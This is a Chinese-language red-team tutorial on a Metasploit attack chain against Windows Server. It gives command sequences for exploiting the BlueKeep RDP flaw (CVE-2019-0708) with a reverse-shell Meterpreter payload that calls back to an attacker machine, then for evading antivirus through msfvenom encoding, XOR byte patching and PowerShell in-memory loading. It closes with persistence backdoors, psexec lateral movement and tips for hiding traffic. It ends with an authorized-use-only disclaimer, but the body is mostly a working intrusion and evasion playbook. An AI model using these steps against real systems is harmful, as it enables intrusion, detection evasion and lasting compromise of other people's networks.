一、重新定义攻击视角:从防御反推渗透测试

防守方常常关注如何阻止攻击,从漏洞修复到系统加固,再到流量分析。但从攻击者的视角来看,每一个防御措施都是潜在的突破口。作为红队的一员,我们需要了解防守方的工具和策略,反推他们的弱点。在这篇文章中,我们将从防御视角切入,研究如何利用 Metasploit 这个强大的渗透测试框架,完成一次从外网到内网的攻击链实践。

Metasploit 是一个功能丰富的渗透测试工具,支持几乎所有主流漏洞和攻击方式。它的模块化设计和扩展性让它成为红队的核心武器。本文将详细展示如何使用 Metasploit 进行渗透测试,包括漏洞利用、Payload 构造、免杀技巧以及权限维持等,同时会附带完整的代码示例和实践环境搭建指南。

---

二、环境搭建与目标模拟:先搞清楚敌人在哪

在实际渗透测试中,环境准备是第一步。这次我们模拟的是以下场景:

  • 目标网络:一个存在未打补丁漏洞的 Web 服务,运行在 Windows Server 2019 上。
  • 攻击机:Kali Linux,预装 Metasploit。
  • 网络结构:攻击者位于外网,通过漏洞进入内网后尝试横向移动。

环境搭建步骤

  1. 安装 Metasploit
  2. 设置攻击机时,确保安装最新版本的 Metasploit。通常在 Kali Linux 中可以直接运行以下命令安装: <pre><code class="language-bash"> sudo apt update &amp;&amp; sudo apt install metasploit-framework `

  1. 搭建目标服务
  2. 使用 VulnHub 或手动安装一个存在漏洞的 Web 应用。这里我们选择了一个常见的漏洞:CVE-2019-0708(RDP 未授权远程代码执行)。在目标机上运行带此漏洞的 Windows Server。

  1. 网络配置
  2. 将目标机和攻击机设置在同一局域网,并确保目标机对外暴露 RDP 服务端口(默认 3389)。

  1. 漏洞验证
  2. 使用 nmap 测试目标机的开放端口: `bash nmap -p 3389 -sV &lt;目标IP&gt; ` 确保能看到 RDP 服务开放。

黑客示意图

---

黑客示意图

三、漏洞利用与内网突破:从外网到权限提升

在目标环境搭建完成后,我们进入核心部分:漏洞利用。这里我们选择了 CVE-2019-0708,一种经典的 RDP 漏洞。下面是详细的攻击步骤:

步骤 1:信息收集

通过 nmap 确认目标机的信息:</code></pre>bash nmap -p 3389 -A <目标IP> <pre><code>结果显示目标机的 RDP 服务未打补丁,符合漏洞条件。

步骤 2:加载 Metasploit 模块

启动 Metasploit 后,搜索并加载与漏洞相关的模块:</code></pre>bash msfconsole search cve:2019-0708 use exploit/windows/rdp/cve_2019_0708_bluekeep <pre><code>

步骤 3:配置模块参数

设置目标 IP 和端口:</code></pre>bash set RHOSTS <目标IP> set RPORT 3389 <pre><code> 选择攻击载荷(Payload),这里以 Windows Meterpreter 为例:</code></pre>bash set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <攻击机IP> set LPORT 4444 <pre><code>

步骤 4:漏洞利用

运行攻击模块:</code></pre>bash exploit <pre><code>如果漏洞利用成功,Metasploit 将启动 Meterpreter 会话,目标机权限被获取。

---

四、Payload 构造的艺术:绕过杀软与免杀技巧

在渗透测试中,目标机通常会运行杀软或 EDR。我们需要对 Payload 进行免杀处理,以规避检测。以下是免杀技巧:

技巧 1:Payload 编码

使用 Metasploit 的 encoders 对 Payload 进行编码:</code></pre>bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe <pre><code>这里使用了经典的 shikata_ga_nai 编码器,它采用多重混淆技术,非常适合免杀。

技巧 2:手工修改二进制

使用 Python 修改编译后的 Payload,以随机化文件内容:</code></pre>python with open('payload.exe', 'rb') as f: data = bytearray(f.read())

对某些字节位置进行随机替换

for i in range(0, len(data), 20): data[i] ^= 0x55

保存修改后的文件

with open('payload_mod.exe', 'wb') as f: f.write(data) <pre><code> 黑客示意图

技巧 3:内存加载

采用 PowerShell 内存加载技术,将 Payload 注入目标机内存而不落地文件:</code></pre>powershell

在目标机上执行以下 PowerShell 命令

$payload = [System.Convert]::FromBase64String("<Base64编码的Payload>") [System.Reflection.Assembly]::Load($payload).EntryPoint.Invoke($null, $null) <pre><code>这种方法可以避免文件被杀软扫描。

---

五、权限维持与横向移动:让攻击持久化

获取初始权限后,我们需要确保攻击的持久性,并进一步进入内网。

权限维持

通过在目标机上建立后门,实现权限维持:</code></pre>bash use exploit/windows/local/persistence set SESSION <会话ID> set LHOST <攻击机IP> set LPORT 5555 run <pre><code>

横向移动

使用 Metasploit 的 psexec 模块进行内网横向移动:</code></pre>bash use exploit/windows/smb/psexec set RHOSTS <目标内网IP> set SMBUser <目标用户名> set SMBPass <目标密码> set PAYLOAD windows/meterpreter/reverse_tcp run ` 成功后,攻击者可以在内网中进一步扩展。

---

六、个人经验分享:如何让攻击链更隐蔽

  • 流量伪装:建议将 Meterpreter 的通信协议更改为 HTTPS,以规避流量分析。
  • 模块优化:选择轻量级 Payload,减少占用目标机资源。
  • 定时任务:通过计划任务定时启动后门,避免被发现。

以上技术在实战中非常有效,但仍需不断测试和优化。同时,切记只在授权环境中使用这些技术。

---

免责声明:本文仅供合法授权的渗透测试和安全研究使用,任何非法用途作者概不负责。